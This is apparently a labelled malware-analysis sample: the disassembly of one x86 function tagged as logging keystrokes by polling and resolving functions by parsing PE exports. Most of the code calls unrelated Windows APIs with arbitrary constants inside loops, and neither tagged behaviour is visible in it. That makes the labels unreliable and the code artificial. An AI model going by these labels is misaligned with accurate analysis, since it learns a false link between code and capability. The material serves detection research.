Function at 0x1000144d
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb0
lea eax, [esp + 0x80]
lea ecx, [esp + 0xa0]
mov edx, esp
mov dword [edx], 0xbe785f
mov edx, dword [sym.imp.USER32.dll_ReplyMessage]
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x78], eax
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x2eb
mov dword [ecx], 0x62da4a
mov ecx, dword [sym.imp.USER32.dll_GetClassWord]
mov dword [esp + 0x74], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0xa8]
mov dword [ecx + 8], edx
mov dword [ecx + 4], 0xcf8
mov dword [ecx], 0xfa042d
mov ecx, dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov word [esp + 0x72], ax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xafa4e0
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [esp + 0x6c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov dword [esp + 0x68], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x60]
mov ecx, esp
mov dword [ecx], 0x973e2b
mov ecx, dword [sym.imp.USER32.dll_CloseDesktop]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x72112c
mov ecx, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [esp + 0x58], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xc3cecc
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanExA]
mov dword [esp + 0x54], eax
call ecx
sub esp, 8
xor ecx, ecx
mov word [esp + 0x52], ax
mov dword [esp + 0x4c], ecx
jmp 0x100015ab
mov eax, esp
mov dword [eax], 0xe56b6a
mov eax, dword [sym.imp.USER32.dll_DestroyIcon]
call eax
sub esp, 4
mov ecx, dword [esp + 0x5c]
add ecx, 1
cmp ecx, 0x84
mov dword [esp + 0x48], eax
mov dword [esp + 0x60], ecx
je 0x10001712
jmp 0x10001501
mov eax, esp
mov dword [eax], 0xbabccb
mov eax, dword [sym.imp.USER32.dll_ArrangeIconicWindows]
call eax
sub esp, 4
mov dword [esp + 0x44], eax
jmp 0x100015c4
mov eax, dword [esp + 0x4c]
mov ecx, 0xd
mov dword [esp + 0x40], eax
xor edx, edx
div ecx
cmp edx, 2
je 0x10001593
mov eax, dword [esp + 0x40]
add eax, 1
cmp eax, 0xa0
mov dword [esp + 0x4c], eax
jne 0x100015ab
xor eax, eax
xor ecx, ecx
mov edx, dword [esp + 0x5c]
sub edx, 0x10
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], ecx
mov dword [esp + 0x34], edx
je 0x1000167c
jmp 0x100015f7
mov eax, dword [esp + 0x5c]
sub eax, 0x5b
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
jne 0x100016ca
jmp 0x10001612
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0
mov eax, esp
mov ecx, dword [esp + 0x7c]
mov dword [eax + 4], ecx
mov dword [eax], str.UqRmz
mov eax, dword [sym.imp.ADVAPI32.dll_AddUsersToEncryptedFile]
call eax
sub esp, 8
mov dword [esp + 0x28], eax
mov eax, esp
mov dword [eax], 0x3d6df5
mov eax, dword [sym.imp.USER32.dll_GetLastActivePopup]
call eax
sub esp, 4
mov ecx, esp
lea edx, [esp + 0x88]
mov dword [ecx + 4], edx
mov dword [ecx], 0xe93
mov ecx, dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [esp + 0x24], eax
call ecx
sub esp, 8
mov dword [esp + 0x20], eax
mov eax, esp
mov dword [eax], 0xc9405d
mov eax, dword [sym.imp.WININET.dll_FindCloseUrlCache]
call eax
sub esp, 4
mov dword [esp + 0x1c], eax
mov eax, dword [sym.imp.ole32.dll_OleUninitialize]
call eax
mov dword [esp + 0x84], 0
mov dword [esp + 0x80], 0
mov eax, esp
mov ecx, dword [esp + 0x78]
mov dword [eax], ecx
mov eax, dword [sym.imp.ADVAPI32.dll_IsValidAcl]
call eax
sub esp, 4
mov dword [esp + 0x18], eax
jmp 0x1000155e
mov eax, dword [esp + 0x2c]
add eax, 1
mov ecx, esp
mov dword [ecx + 8], 0x942
mov dword [ecx + 4], 0x942
mov dword [ecx], 0xd8324c
mov ecx, dword [sym.imp.USER32.dll_EnableScrollBar]
mov dword [esp + 0x14], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0x14]
cmp ecx, 0xa
mov dword [esp + 0x10], eax
mov dword [esp + 0x2c], ecx
je 0x1000155e
jmp 0x100016ca
mov esp, ebp
pop ebp
ret